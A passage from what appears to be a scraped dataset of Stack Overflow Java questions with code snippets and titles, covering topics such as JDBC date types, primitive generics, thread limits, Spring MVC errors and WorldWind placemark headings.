which indices are true in all of them , and which are false . Example : would yield index 0 as having all true values , and index 2 as having all false values . One idea I have is to convert the boolean array to an array of ints , summing the values , and if the summed array index = numArrays , then it is True in all of them . Similarly , if the summed array index is 0 , it is false in all of them . Am not sure how to go about doing this in an efficient way ( in java ) , letalone if this is a good method to achieve my desired result . Is there a way to convert the array of booleans to ints ? If not , is the easiest alternative to instantiate a new array of ints , and loop through the boolean array to populate the new array ?","{ true , true , false } { true , false , false } { true , false , false }",Measuring overlap between arrays +Java,"I have the need to perform algorithms on various primitive types ; the algorithm is essentially the same with the exception of which type the variables are . So for instance , How can I avoid this repetition ? I know there 's no way to genericize primitive arrays , so my hands seem tied . I have instances of primitive arrays and not boxed arrays of say Number objects , so I do not want to go that route either . I know there are a lot of questions about primitives with respect to arrays , autoboxing , etc. , but I have n't seen it formulated in quite this way , and I have n't seen a decisive answer on how to interact with these arrays.I suppose I could do something like : and thenIs that really much better though ? That way will create a lot more objects than the original implementation , though it DRYs up the source code . Any thoughts in this matter would be appreciated .","/*** Determine if < code > value < /code > is the bitwise OR of elements of < code > validValues < /code > array . * For instance , our valid choices are 0001 , 0010 , and 1000 . * We are given a value of 1001 . This is valid because it can be made from* ORing together 0001 and 1000 . * On the other hand , if we are given a value of 1111 , this is invalid because* you can not turn on the second bit from left by ORing together those 3* valid values . */public static boolean isValid ( long value , long [ ] validValues ) { for ( long validOption : validValues ) { value & = ~validOption ; } return value == 0 ; } public static boolean isValid ( int value , int [ ] validValues ) { for ( int validOption : validValues ) { value & = ~validOption ; } return value == 0 ; } public static < E extends Number > boolean isValid ( E value , List < E > numbers ) { long theValue = value.longValue ( ) ; for ( Number validOption : numbers ) { theValue & = ~validOption.longValue ( ) ; } return theValue == 0 ; } public static boolean isValid ( long value , long [ ] validValues ) { return isValid ( value , Arrays.asList ( ArrayUtils.toObject ( validValues ) ) ) ; } public static boolean isValid ( int value , int [ ] validValues ) { return isValid ( value , Arrays.asList ( ArrayUtils.toObject ( validValues ) ) ) ; }",How to avoid repetition when working with primitive types ? +Java,"I have a Java application where the user builds their SQL select statement on the screen . Once they enter the select , I analyze with JDBC the column types.For Oracle , the JDBC equivalent of type DATE is java.sql.Types.Timestamp , as DATE includes the time.The problem is that I need to format the result set depending on the column type . If it 's DATE , I need to format the value YYYY-MM-DD . If it 's TIMESTAMP , I need to format the value YYYY-MM-DD HH : MM : SS . What I need is to differentiate in JDBC between DATE and TIMESTAMP results . Is there a way to achieve this ? Sample code : This prints twice 93 , which is java.sql.Types.Timestamp.Note : I 'm running this on Wildfly 14I tried to cast the sql Connection to OracleConnection ( to get the oracle.sql types ) and Wildfly throws : org.jboss.jca.adapters.jdbc.jdk8.WrappedConnectionJDK8 can not be cast to oracle.jdbc.OracleConnection","String sql = `` select date_col , timestamp_col from some_table '' ; ResultSet rs = stmt.executeQuery ( sql ) ; ResultSetMetaData meta = rs.getMetaData ( ) ; int count = meta.getColumnCount ( ) ; for ( int i=1 ; i < = count ; i++ ) { int type = meta.getColumnType ( i ) ; System.out.println ( type ) ; } CREATE TABLE `` DB1 '' . `` SOME_TABLE '' ( `` SOMENUM '' NUMBER ( 9,0 ) , `` DATE_COL '' DATE , `` TIMESTAMP_COL '' TIMESTAMP ( 6 ) , `` ACCOUNT '' NUMBER ( 9,0 ) , `` BALANCE '' FLOAT ( 126 ) )",Is there a way to differentiate in Oracle/JDBC between DATE and TIMESTAMP ? +Java,"I 'm trying access to a static inner class method , but I ca n't find the right way.I need to write this java code in Clojure : My code is : And this is the error : I 'm using the opentok Java library and I do n't understand how to access to mediaMode method .",SessionProperties sessionProperties = SessionProperties.Builder ( ) .mediaMode ( MediaMode.ROUTED ) .build ( ) ; ( : import [ com.opentok OpenTok MediaMode SessionProperties SessionProperties $ Builder ] ) ) ( def sessionProperties ( .build ( .mediaMode SessionProperties $ Builder MediaMode/ROUTED ) ) java.lang.IllegalArgumentException : No matching method found : mediaMode for class java.lang.Class,Access to a Java static inner class with Clojure +Java,I 've just learned multi-threaded programming today due to a project requirement.I have a string processing task which can be nicely divided into small subtasks.The problem is that I will need around 500K threads for this task . And I run into an error : Caused by : java.lang.OutOfMemoryError : unable to create new native threadI searched the web and it seems JVM only allows me to make maximum 32K threads . There are some instructions to extend this limit by modifying the profile file . But I want to avoid modify user 's computer . So could you give me an advice how to manage them wisely within the limit ?,"while ( ... ) { ... // assign task for handler Thread t = new Thread ( new PCHandler ( counter , pc ) ) ; t.start ( ) ; counter++ ; }",How to manage more than 32k threads +Java,"Which statement is true about the class of an object that can reference the variable base ? A . It can be any class . B . No class has access to base . C. The class must belong to the geometry package . D. The class must be a subclass of the class HypotenuseThis is from SCJP Dumps , Answer is `` C '' . As my knowledge answer should be `` B '' because inner class has local variable called `` base '' and it has scope only in the inner class . Even if i want to usethis variable in `` geometry '' class i am not allowed to do it . Please guide me if i am wrong ?",package geometry ; public class Hypotenuse { public InnerTriangle it = new InnerTriangle ( ) ; class InnerTriangle { public int base ; public int height ; } },access to local variable in inner class +Java,This is method representing that action . Controller is annotated with @ RestControllerSolvedContent type negotiation mechanism should be overriden.Explonation : http : //spring.io/blog/2013/05/11/content-negotiation-using-spring-mvcCode :,"@ RequestMapping ( value = `` /user/ { username : .+ } '' , method = RequestMethod.GET , produces = `` application/json '' ) @ ResponseBodyUser user ( @ PathVariable String username ) { User user = userRepository.findByUsername ( username ) ; if ( user == null ) throw new UserNotFoundException ( `` User not found '' ) ; return user ; } @ Override public void configureContentNegotiation ( ContentNegotiationConfigurer configurer ) { configurer.mediaType ( `` pl '' , MediaType.APPLICATION_JSON ) ; }",Why does Spring MVC @ RequestMapping throws 406 error for mapping ( /user/ { username : .+ } ) when parameter ends with ( .pl ) +Java,"Using Byte Buddy 's advice API , is it possible to return from the instrumented method without actually executing it ? One use case would be to implement a cache and to return the cached value , if present , instead of computing the value again.I know that this code sample above just creates a local variable which I can get in a @ Advice.OnMethodExit method . But is there a way to abort the method call on an explicit return ? If yes , is this also possible for void methods ?",@ Advice.OnMethodEnterpublic static Object returnCachedValue ( @ Advice.Argument ( 0 ) String query ) { if ( cache.containsKey ( query ) ) { // should `` abort '' method call return cache.get ( query ) ; } },Is it possible to return from a method using @ Advice.OnMethodEnter ? +Java,"The list l holds element of type Box . In case 1 , I get the first element as Box < Integer > and in second case the second element in the list is obtained as Box < String > . The ClassCastException is not thrown in the first case . When I tried to debug , the element 's type in b1 and b2 are String and Integer respectively.Is it related to type erasure ? Ideone link",public class Box < T > { private T element ; public T getElement ( ) { return element ; } public void setElement ( T element ) { this.element = element ; } } public class Test { public static void main ( String [ ] args ) { List < Box > l = new ArrayList < > ( ) ; //Just List of Box with no specific type Box < String > box1 = new Box < > ( ) ; box1.setElement ( `` aa '' ) ; Box < Integer > box2 = new Box < > ( ) ; box2.setElement ( 10 ) ; l.add ( box1 ) ; l.add ( box2 ) ; //Case 1 Box < Integer > b1 = l.get ( 0 ) ; System.out.println ( b1.getElement ( ) ) ; //why no error //Case 2 Box < String > b2 = l.get ( 1 ) ; System.out.println ( b2.getElement ( ) ) ; //throws ClassCastException } },Java - Obtaining generic object as String Generic type throws exception +Java,I have this code : urls is a Set < String > and yet .next ( ) ; returns the same item over and over . Even though there are 7 itemshow can iterate all the items correctly ?,for ( int j = 0 ; j < 7 ; j++ ) { if ( failureCountAndDUrls.urls.iterator ( ) .hasNext ( ) ) { P p2 = new P ( ) .appendText ( `` First `` +min+ '' of `` +failureCountAndDUrls.count+ '' : '' ) ; String id = failureCountAndDUrls.urls.iterator ( ) .next ( ) ; } },why iterator.next ( ) returns the same item every time ? +Java,I want to display the time in the following format for Japanese `` 01:00 午後 '' My current source code is as followsI am getting the following outputStart Time 7:09:37P.S : I have also tried with setting the time format to `` K : mm a '' and `` H : mm a '' . Both of them did n't work .,"Calendar cal = Calendar.getInstance ( ) ; Date date = cal.getTime ( ) ; System.out.println ( `` Start Time `` +SimpleDateFormat.getTimeInstance ( SimpleDateFormat.MEDIUM , Locale.JAPANESE ) .format ( date ) ) ;",How to display AM/PM field in Japanese locale using SimpleDateFormat in Java ? +Java,"I have following two simple code : I thought that both definitions are correct and equivalently the same thing , but the second one has compiling errors , complaining that Required Function < Integer , String > , but Method Reference is found .","IntFunction < String > f1 = Integer : :toString ; Function < Integer , String > f2 = Integer : :toString ;","IntFunction < String > and Function < Integer , String >" +Java,I have really weird error in my java code and can not figure out what is wrong.Let 's say I have this code : Then the result will be : test1 = `` ¼ '' test2 = `` ½ '' test3 = `` ½ '' ? ? ? ? ? ? ? ? ? ? Can someone please explain why test3 becomes `` ½ '' ?,"private void test ( ) { String test1 = replace ( `` 1.25 '' ) ; String test2 = replace ( `` 1.5 '' ) ; String test3 = replace ( `` 1.75 '' ) ; } private String replace ( String s ) { s = s.replaceAll ( `` .25 '' , `` ¼ '' ) ; s = s.replaceAll ( `` .5 '' , `` ½ '' ) ; s = s.replaceAll ( `` .75 '' , `` ¾ '' ) ; return s ; }",String replaceAll ( `` ¾ '' ) in java +Java,"I use this piece of code to insert some data into database : If I use debugger and step one line at a time , everything goes well . If I do n't use it and just run the application , I get this exception : I am using Windows 7 64 bit.I went to Administrative Tools , Data Sources ( ODBC ) and i successfully tested it .","Class.forName ( `` sun.jdbc.odbc.JdbcOdbcDriver '' ) ; Connection con=DriverManager.getConnection ( `` jdbc : odbc : war_odbc '' ) ; PreparedStatement st = con.prepareStatement ( `` INSERT INTO Actors ( FirstName , LastName , Age ) VALUES ( ? , ? , ? ) '' ) ; st.setString ( 1 , `` Robert '' ) ; st.setString ( 2 , `` de Niro '' ) ; st.setInt ( 3,45 ) ; st.executeUpdate ( ) ; con.close ( ) ; [ Microsoft ] [ ODBC Driver Manager ] Invalid string or buffer length at sun.jdbc.odbc.JdbcOdbc.createSQLException ( Unknown Source ) at sun.jdbc.odbc.JdbcOdbc.standardError ( Unknown Source ) at sun.jdbc.odbc.JdbcOdbc.SQLGetDataString ( Unknown Source ) at sun.jdbc.odbc.JdbcOdbcResultSet.getDataString ( Unknown Source ) at sun.jdbc.odbc.JdbcOdbcResultSet.getString ( Unknown Source ) at sun.jdbc.odbc.JdbcOdbcConnection.buildTypeInfo ( Unknown Source ) at sun.jdbc.odbc.JdbcOdbcConnection.initialize ( Unknown Source ) at sun.jdbc.odbc.JdbcOdbcDriver.connect ( Unknown Source ) at java.sql.DriverManager.getConnection ( Unknown Source ) at java.sql.DriverManager.getConnection ( Unknown Source )",Prepared statement only throws exception when not debugging +Java,"Inspired in this question : How to implements Iterable I decided to make a basic linked list implementation and implement an iterator in order to have a code like this : The code was n't hard to deal with , creating a class MyList < T > implements Iterable < T > with a private static class Node < T > and a private class MyListIterator < T > implements Iterator < T > , but then I came across a problem when implementing my own version of Iterator # remove : This error message raised my curiosity . I was looking on the net about this problem but found nothing ( or probably I 'm not so good at searching this kind of issues ) . What would be the reason of two variables from the same type being compared but not being assignable to each other ? By the way , I know that I can just look at the code of LinkedList and check how the Java designers implemented this and copy/paste/adapt it to my own implementation , but I prefer to have an explanation and understanding of the real problem.Complete code that shows my current implementation of MyList class :","MyList < String > myList = new MyList < String > ( ) ; myList.add ( `` hello '' ) ; myList.add ( `` world '' ) ; for ( String s : myList ) { System.out.println ( s ) ; } class MyList < T > implements Iterable < T > { private static class Node < T > { //basic node implementation ... } private Node < T > head ; private Node < T > tail ; //constructor , add methods ... private class MyListIterator < T > implements Iterator < T > { private Node < T > headItr ; private Node < T > prevItr ; public MyListIterator ( Node < T > headItr ) { this.headItr = headItr ; } @ Override public void remove ( ) { //line below compiles if ( head == headItr ) { //line below compiles head = head.getNext ( ) ; //line below does n't and gives me the message // '' Type mismatch : can not convert from another.main.MyList.Node < T > to //another.main.MyList.Node < T > '' head = headItr.getNext ( ) ; //line below does n't compile , just for testing purposes ( it will be deleted ) head = headItr ; } } } } class MyList < T > implements Iterable < T > { private static class Node < T > { private T data ; private Node < T > next ; public Node ( T data ) { super ( ) ; this.data = data ; } public T getData ( ) { return data ; } public Node < T > getNext ( ) { return next ; } public void setNext ( Node < T > next ) { this.next = next ; } } private Node < T > head ; private Node < T > tail ; private int size ; public MyList ( ) { head = null ; tail = null ; } public void add ( T data ) { Node < T > node = new Node < T > ( data ) ; if ( head == null ) { head = node ; tail = head ; } else { tail.setNext ( node ) ; tail = node ; } size++ ; } private class MyListIterator < T > implements Iterator < T > { private Node < T > headItr ; private Node < T > prevItr ; public MyListIterator ( Node < T > headItr ) { this.headItr = headItr ; } @ Override public boolean hasNext ( ) { return ( headItr.getNext ( ) ! = null ) ; } @ Override public T next ( ) { T data = headItr.getData ( ) ; prevItr = headItr ; if ( hasNext ( ) ) { headItr = headItr.getNext ( ) ; } return data ; } @ Override public void remove ( ) { if ( head == headItr ) { //problem here head = headItr.getNext ( ) ; } //implementation still under development ... } } @ Override public Iterator < T > iterator ( ) { return new MyListIterator < T > ( head ) ; } }",Inner static class inside inner class can not be converted +Java,"I have this Code , I ran this on Java and C , but they give me two different results.What is that makes them to run differently.The Output in Java for value of X is : 8 , and for C it is 6.How these two compiler behave differently for incremented options ?",x=10 ; y=10 ; z=10 ; y-=x -- ; z-= -- x ; x-= -- x-x -- ;,How does the code behave different for Java and C compiler ? +Java,"I do n't think that there is a way that is efficient ( if at all ) of doing this , but I figured I 'd ask in case someone else knows otherwise . I 'm looking to create my own Cache/lookup table . To make it as useful as possible , I 'd like it to be able to store generic objects . The problem with this approach is that even though you can make a Collections.unmodifiableMap , immutableMap , etc , these implementations only prevent you from changing the Map itself . They do n't prevent you from getting the value from the map and modifying its underlying values . Essentially what I 'd need is for something to the effect of HashMap < K , ? extends Immutable > , but to my knowledge nothing like this exists.I had originally thought that I could just return a copy of the values in the cache in the get method , but since Java 's Cloneable interface is jacked up , you can not simple call",public V getItem ( K key ) { return ( V ) map.get ( k ) .clone ( ) ; },Create a hashmap of immutable generic objects +Java,"I would like to create a generic interface for those two classes but I 'm not sure how to specify the generics the right way.I tried it this.But I 'm still able to do things like this , which should n't be allowed .",public class ThingA implements Thing { public ThingA createCopy ( ThingA original ) ; } public class ThingB implements Thing { public ThingB createCopy ( ThingB original ) ; } public interface Thing < V extends Thing < V > > { public V createCopy ( V original ) ; } public class ThingB implements Thing < ThingA > { public ThingA createCopy ( ThingA original ) ; },Create generic Interface restricted to own class +Java,"I ’ m starting with RxJava , and I would like to create an observable that can save the last state… In RxSwift , that would be Variable ( https : //github.com/ReactiveX/RxSwift/blob/master/Documentation/GettingStarted.md # variables ) , but I can ’ t found an equivalente in RxJava… I found a work around but it ’ s a lot of boiler plate codethe RxSwift equivalent is thisCan you help me please ? Thanks",private boolean isGettingCompanies = false ; public boolean isGettingCompanies ( ) { return isGettingCompanies ; } private void setIsGettingCompanies ( boolean isGettingCompanies ) { this.isGettingCompanies = isGettingCompanies ; isGettingCompaniesPublishSubject.onNext ( isGettingCompanies ) ; } private final PublishSubject < Boolean > isGettingCompaniesPublishSubject = PublishSubject.create ( ) ; public Observable < Boolean > isGettingCompaniesPublishSubject ( ) { return isGettingCompaniesPublishSubject.asObservable ( ) ; } private ( set ) var isGettingCompanies : Variable = Variable ( false ),RxJava Observable with last state +Java,"Consider this code : Since we were allowed to reference a variable declared in another case , this means that even though case 1 was n't chosen , boolean bool was still declared.Since default is the last option , and java works from left to right ( top to bottom ) , I 'm assuming that the variables in case 2 ( and any other cases ) will also be declared.This make me think that the more code you have in the cases declared before the case chosen , the longer it 'll take to actually access that case compared to if the chosen case was declared first.Is there a specific reason switch statements work this way ? And would n't it be best to use if-else rather than switch statements if there are a lot of cases ? ( talking processing time , nano-seconds )",int num = 0 ; switch ( num ) { case 1 : boolean bool = false ; break ; case 2 : String one ; String two ; String three ; //..simulating lots of vars break ; default : bool = true ; System.out.println ( bool ) ; break ; },Why do n't cases in switch statements have their own scope ? +Java,"In NASA WorldWind Java , I 'm using PointPlacemark to represent an image because it stays the same size regardless of zoom level . The problem is that I want to set the heading on the Point Placemark and have it stay on that compass heading even when the camera is tilted . It works exactly as I want when viewing an untilted globe , but when I tilt , the placemark continues to face the screen instead of tilting with the globe , which causes it to act strange . Here is a GIF illustrating what I 'm seeing : https : //giphy.com/embed/3o7WIqZUceR8xh6BOgI would like the Point Placemark Image to stay on a heading relative to the globe , even when tilted -- so the image essentially is `` flattened '' as the view is tilted , while still remaining the same size regardless of zoom level . Here is a code snippet that I 'm using . I am setting attrs.setHeadingReference ( AVKey.RELATIVE_TO_GLOBE ) ; on the associated PointPlacemarkAttributes . In this example , I am setting the heading to 135 degrees.I 've also played with using a Polygon with a Texture applied to it . The way it is oriented is what I 'm looking for -- except I want the icon to remain the same size regardless of zoom level ( like what the PointPlacemark does ) .Here is a GIF illustrating what I 'm seeing when using a Polygon . Note how it acts when the globe is tilted : https : //giphy.com/embed/xThta4USlDzd8Ii5ZSHere is the source I 'm using for the Polygon : For completeness sake -- here is the image I 'm using as my airplane.png : So to sum it up , what I 'm looking for : A Renderable represented by an Icon ImageIcon stays the same size regardless of zoom levelIcon stays oriented at a globe compass heading , even when camera view tilted","import gov.nasa.worldwind.WorldWind ; import gov.nasa.worldwind.avlist.AVKey ; import gov.nasa.worldwind.geom.Position ; import gov.nasa.worldwind.layers.RenderableLayer ; import gov.nasa.worldwind.render.Offset ; import gov.nasa.worldwind.render.PointPlacemark ; import gov.nasa.worldwind.render.PointPlacemarkAttributes ; public class Placemarks extends ApplicationTemplate { public static class AppFrame extends ApplicationTemplate.AppFrame { public AppFrame ( ) { super ( true , true , false ) ; final RenderableLayer layer = new RenderableLayer ( ) ; PointPlacemark pp = new PointPlacemark ( Position.fromDegrees ( 28 , -102 , 30000 ) ) ; pp.setLabelText ( `` Airplane '' ) ; pp.setLineEnabled ( false ) ; pp.setAltitudeMode ( WorldWind.ABSOLUTE ) ; PointPlacemarkAttributes attrs = new PointPlacemarkAttributes ( ) ; attrs.setImageAddress ( `` images/airplane.png '' ) ; attrs.setScale ( 0.05 ) ; attrs.setImageOffset ( Offset.CENTER ) ; //Point to 135.0 attrs.setHeading ( 135.0 ) ; attrs.setHeadingReference ( AVKey.RELATIVE_TO_GLOBE ) ; pp.setAttributes ( attrs ) ; layer.addRenderable ( pp ) ; // Add the layer to the model . insertBeforeCompass ( getWwd ( ) , layer ) ; } } public static void main ( String [ ] args ) { ApplicationTemplate.start ( `` WorldWind Placemarks '' , AppFrame.class ) ; } } import java.awt.geom.AffineTransform ; import java.util.Arrays ; import java.util.List ; import gov.nasa.worldwind.WorldWind ; import gov.nasa.worldwind.geom.Position ; import gov.nasa.worldwind.layers.RenderableLayer ; import gov.nasa.worldwind.render.BasicShapeAttributes ; import gov.nasa.worldwind.render.Polygon ; public class TexturedPolygon extends ApplicationTemplate { public static Polygon createPolygonTexturedImage ( String filePath , Position pos , double heading , double scale ) { double offsetDist = 1.0D * scale ; Position p1 = Position.fromDegrees ( pos.getLatitude ( ) .addDegrees ( -offsetDist ) .getDegrees ( ) , pos.getLongitude ( ) .addDegrees ( -offsetDist ) .getDegrees ( ) , pos.getAltitude ( ) ) ; Position p2 = Position.fromDegrees ( pos.getLatitude ( ) .addDegrees ( offsetDist ) .getDegrees ( ) , pos.getLongitude ( ) .addDegrees ( -offsetDist ) .getDegrees ( ) ) ; Position p3 = Position.fromDegrees ( pos.getLatitude ( ) .addDegrees ( offsetDist ) .getDegrees ( ) , pos.getLongitude ( ) .addDegrees ( offsetDist ) .getDegrees ( ) ) ; Position p4 = Position.fromDegrees ( pos.getLatitude ( ) .addDegrees ( -offsetDist ) .getDegrees ( ) , pos.getLongitude ( ) .addDegrees ( offsetDist ) .getDegrees ( ) ) ; double [ ] points = new double [ ] { p1.getLatitude ( ) .getDegrees ( ) , p1.getLongitude ( ) .getDegrees ( ) , p2.getLatitude ( ) .getDegrees ( ) , p2.getLongitude ( ) .getDegrees ( ) , p3.getLatitude ( ) .getDegrees ( ) , p3.getLongitude ( ) .getDegrees ( ) , p4.getLatitude ( ) .getDegrees ( ) , p4.getLongitude ( ) .getDegrees ( ) } ; double [ ] transformedPoints = new double [ 8 ] ; AffineTransform rotation = new AffineTransform ( ) ; rotation.rotate ( Math.toRadians ( heading ) , pos.getLatitude ( ) .getDegrees ( ) , pos.getLongitude ( ) .getDegrees ( ) ) ; rotation.transform ( points , 0 , transformedPoints , 0 , 4 ) ; double altitude = pos.getAltitude ( ) ; p1 = Position.fromDegrees ( transformedPoints [ 0 ] , transformedPoints [ 1 ] , altitude ) ; p2 = Position.fromDegrees ( transformedPoints [ 2 ] , transformedPoints [ 3 ] , altitude ) ; p3 = Position.fromDegrees ( transformedPoints [ 4 ] , transformedPoints [ 5 ] , altitude ) ; p4 = Position.fromDegrees ( transformedPoints [ 6 ] , transformedPoints [ 7 ] , altitude ) ; List < Position > positions = Arrays.asList ( p1 , p2 , p3 , p4 ) ; Polygon polygon = new Polygon ( positions ) ; polygon.setAltitudeMode ( WorldWind.ABSOLUTE ) ; BasicShapeAttributes mattr = new BasicShapeAttributes ( ) ; mattr.setDrawOutline ( false ) ; mattr.setDrawInterior ( true ) ; polygon.setAttributes ( mattr ) ; polygon.setTextureImageSource ( filePath , new float [ ] { 0.0F , 0.0F , 1.0F , 0.0F , 1.0F , 1.0F , 0.0F , 1.0F } , 4 ) ; return polygon ; } public static class AppFrame extends ApplicationTemplate.AppFrame { public AppFrame ( ) { super ( true , true , false ) ; final RenderableLayer layer = new RenderableLayer ( ) ; Position pos = Position.fromDegrees ( 28 , -102 , 30000 ) ; String url = `` images/airplane.png '' ; layer.addRenderable ( createPolygonTexturedImage ( url , pos , 135.0 , 1.05 ) ) ; // Add the layer to the model . insertBeforeCompass ( getWwd ( ) , layer ) ; } } public static void main ( String [ ] args ) { ApplicationTemplate.start ( `` WorldWind Placemarks '' , AppFrame.class ) ; } }",WorldWind PointPlacemark Heading +Java,Is it a bug in Eclipse or why I ca n't annotate parameters with fully qualified type names ( FQN ) with @ NonNull ?,import org.eclipse.jdt.annotation.NonNull ; public class Foo { // No problem public void bar ( @ NonNull String x ) { } // Error : Type annotations are not allowed on type names used to access // static members public void baz ( @ NonNull java.lang.String x ) { } },Why Are @ NonNull Annotation on FQN Not Allowed ? +Java,"Please explain the below codePlease do n't say me that the octal value should be less than 377 . I know it already but when I run the above program , I get the output as 80 . I want to know why its happening so ? Please give a clear explanation . Thank you",public class Example { public static void main ( String [ ] args ) { int i [ ] = { 9 } ; System.out.println ( `` \700 '' ) ; } },Printing Octal characters in java using escape sequences +Java,"Specifically for editing Java code , I was wanting to know if I could change the colour of the text of any line of code beginning with the string LOG . which indicates a logging statement.In this example I would like to be able to make LOG statement appear all in grey for example . It would help when reading code that is heavily logged.It 's probably more difficult than just identifying a single line , as logging could be split over multiple lines , and/or even contained within a if ( LOG.isDebugEnabled ) { ... } block.Visualy I would like these LOG statements/blocks to appear like the default colouring of // comments /* */",public class Foo { private static final Logger LOG = LoggerFactory.getLogger ( Foo.class ) ; public void doSomething ( ) { LOG.info ( `` About to do something '' ) ; // code } },Is it possible to change the colour of a line of text in Eclipse Java Editor based on it 's content ? +Java,"Consider the following constructor for the class Foo ( which for the sake of clarity is not a generic class ) : This is valid syntax for constructors , just like with normal generic methods.But what is the use of this syntax ? Typically generic methods provide type safety for their return type , and can benefit from type inference by the compiler . For example : But a call to a constructor always returns an instance of its declaring class , so its type parameters have no effect on the return type . The constructor above could just be replaced with its erasure : Of course generics are n't only about type safety for return types . The constructor might just want to constrain the type of argument ( s ) being passed in . However , the above reasoning still applies for a bounded type parameter : Even nested type parameters with bounds are handled using wildcards : So what is a legitimate use case for having a generic constructor ?","public < T > Foo ( T obj ) { } Pair < String , Integer > stringInt = Pair.of ( `` asfd '' , 1234 ) ; public Foo ( Object obj ) { } public < N extends Number > Foo ( N number ) { } public Foo ( Number number ) { } //same thing public < N extends Number , L extends List < N > > Foo ( L numList ) { } public Foo ( List < ? extends Number > numList ) { } //same thing",What is a use case for a generic constructor ? +Java,"In chapter 8 of Cracking the Coding Interview , 6th Edition , there 's a question for finding all the subsets , and this is the given solution : To my understanding , I need to add the current element to all the subsets found for the previous element from the given set . I do n't understand why the recursive call takes index+1 as a given parameter instead of index-1 . Is this a typo or is my understanding incorrect ?","Arraylist < Arraylist < Integer > > getSubsets ( Arraylist < Integer > set , int index ) { Arraylist < Arraylist < Integer > > allsubsets ; if ( set.size ( ) == index ) { //Base case - add empty set allsubsets = new Arraylist < Arraylist < Integer > > ( ) ; allsubsets.add ( new Arraylist < Integer > ( ) ) ; // Empty set } else { allsubsets = getSubsets ( set , index+ 1 ) ; int item = set.get ( index ) ; Arraylist < Arraylist < Integer > > moresubsets = new Arraylist < Arraylist < Integer > > ( ) ; for ( Arraylist < Integer > subset : allsubsets ) { Arraylist < Integer > newsubset = new Arraylist < Integer > ( ) ; newsubset.addAll ( subset ) ; newsubset.add ( item ) ; moresubsets.add ( newsubset ) ; } allsubsets.addAll ( moresubsets ) ; } return allsubsets ; }",Cracking the Coding Interview : Why does the recursive subset algorithm increase the index rather than decreasing it ? +Java,"I have this simple interface : I see that this is always an instance of Node < E > ( by definition ) .But I ca n't imagine a case where this is not an instance of E ... Since E extends Node < E > , should n't Node < E > also be equivalent to E by definition ? ? Can you give an example of an object that 's an instance of Node < E > , but it 's not an instance of E ? ? Meanwhile , my brain is melting ... The previous class was a simplified example.To show why I need a self-bound , I 'm adding a bit of complexity :","public interface Node < E extends Node < E > > { public E getParent ( ) ; public List < E > getChildren ( ) ; default List < E > listNodes ( ) { List < E > result = new ArrayList < > ( ) ; // -- -- -- > is this always safe ? < -- -- - @ SuppressWarnings ( `` unchecked '' ) E root = ( E ) this ; Queue < E > queue = new ArrayDeque < > ( ) ; queue.add ( root ) ; while ( ! queue.isEmpty ( ) ) { E node = queue.remove ( ) ; result.add ( node ) ; queue.addAll ( node.getChildren ( ) ) ; } return result ; } } public interface Node < E extends Node < E , R > , R extends NodeRelation < E > > { public List < R > getParents ( ) ; public List < R > getChildren ( ) ; default List < E > listDescendants ( ) { List < E > result = new ArrayList < > ( ) ; @ SuppressWarnings ( `` unchecked '' ) E root = ( E ) this ; Queue < E > queue = new ArrayDeque < > ( ) ; queue.add ( root ) ; while ( ! queue.isEmpty ( ) ) { E node = queue.remove ( ) ; result.add ( node ) ; node.getChildren ( ) .stream ( ) .map ( NodeRelation : :getChild ) .forEach ( queue : :add ) ; } return result ; } } public interface NodeRelation < E > { public E getParent ( ) ; public E getChild ( ) ; }",Java generics self-reference : is it safe ? +Java,"There are several similar questions on SO about method reference to local class constructor , but I 'd like to clarify slightly other thing . Consider following piece of code : Obviously this will printout It turns out , that X class has constructor of the form ... $ X ( int ) ( you can find it via X.class.getDeclaredConstructors ( ) ) .But what is interesting here , is that returned lambdas ( or method references ) are n't simple reference to constructor ... $ X ( int ) like , for example , Integer : :new . They internally invoke this constructor ... $ X ( int ) with predefined argument ( 0 or 1 ) . So , I 'm not sure , but looks like this kind of method reference is not precisely described in JLS . And there is not other way except this case for local classes , to produce such kind of lambdas ( with predefined constructor arguments ) . Who can help clarify this ? To be precise : where is in JLS such kind of method reference described ? is any other way to create such method reference to arbitrary class constructor with predefined arguments ?",static Callable gen ( int i ) { class X { int x = i ; public String toString ( ) { return `` '' + x ; } } return X : :new ; } ... System.out.println ( gen ( 0 ) .call ( ) ) ; System.out.println ( gen ( 1 ) .call ( ) ) ; 01,Method reference to local class constructor +Java,"I have a piece of code that encodes some kind of business data in a JSON string : The thing is : JSONException is a checked exception , butI do n't really know how to handle it at compile time . If a JSONException really occurs , it 's probably a bug in the the code and should be handled by the regular `` global uncaught exception handler '' which is already there ( e.g . this ) , and which already performs all the necessary logging and cleaning up.Thus , I ended up doing this in the calling method : It seemed like a lesser evil than adding a throws JSONException to every method up the call stack . However , it still feels dirty , hence my question : If I want some specific checked exception to go the `` regular unchecked exception route '' , is rethrowing it as a RuntimeException the correct idiom to use ?","public String encodeDataAsJsonString ( Data data ) throws JSONException { JSONObject o = new JSONObject ( ) ; o.put ( `` SomeField1 '' , data.getSomeProperty1 ( ) ) ; o.put ( `` SomeField2 '' , data.getSomeProperty2 ( ) ) ; ... return o ; } ... try { encoded = encodeDataAsJsonString ( data ) ; } catch ( JSONException e ) { throw new RuntimeException ( e ) ; } ...",What issues may ensue by throwing a checked exception as a RuntimeException ? +Java,"If I decide to use a non-thread-safe collection and synchronize its access , do I need to synchronize any mutation in the constructor ? For example in the following code , I understand the reference to the list will be visible to all threads post-construction because it is final . But I do n't know if this constitutes safe publication because the add in the constructor is not synchronized and it is adding a reference in ArrayList 's elementData array , which is non-final .",private final List < Object > list ; public ListInConstructor ( ) { list = new ArrayList < > ( ) ; // synchronize here ? list.add ( new Object ( ) ) ; } public void mutate ( ) { synchronized ( list ) { if ( list.checkSomething ( ) ) { list.mutateSomething ( ) ; } } },Does mutation of an non-thread-safe collection in a constructor need to be synchronized ? +Java,"I wonder which way is to be preferred : to access backing bean vars by full classname.property , or to direct access only the property name by producer method ? Especially if the project grows much bigger with lot of classes , services , facades etc.orFirst way advantage to me is , that if I have to change the jsf , I always know exactly which class I have to modify due to the full qualified name.This would obv be the disadvantage for the 2nd way , but which in contrast is way better to read in case of many services and classes.What would you experts say ?",@ Namedpublic Service { List < Customer > getCustomers ( ) ; } use : < h : dataTable value= '' # { service.customers } '' / > public Service { @ Produces @ Named List < Customer > getCustomers ( ) ; } use : < h : dataTable value= '' # { customers } '' / >,Producer Methods vs Named Classes +Java,"For my homework , we 've been tasked with `` declare an array of four `` regular '' College Employees , three Faculty and seven Students . Prompt the user to specify which type of data will be entered ( C , F , S ) or the option to Quit ( Q ) . While the user continues , accept data entry for the appropriate person . Display an error message if the user enters more than the specified number for each person type . When the user quits , display a report on the screen listing each group of 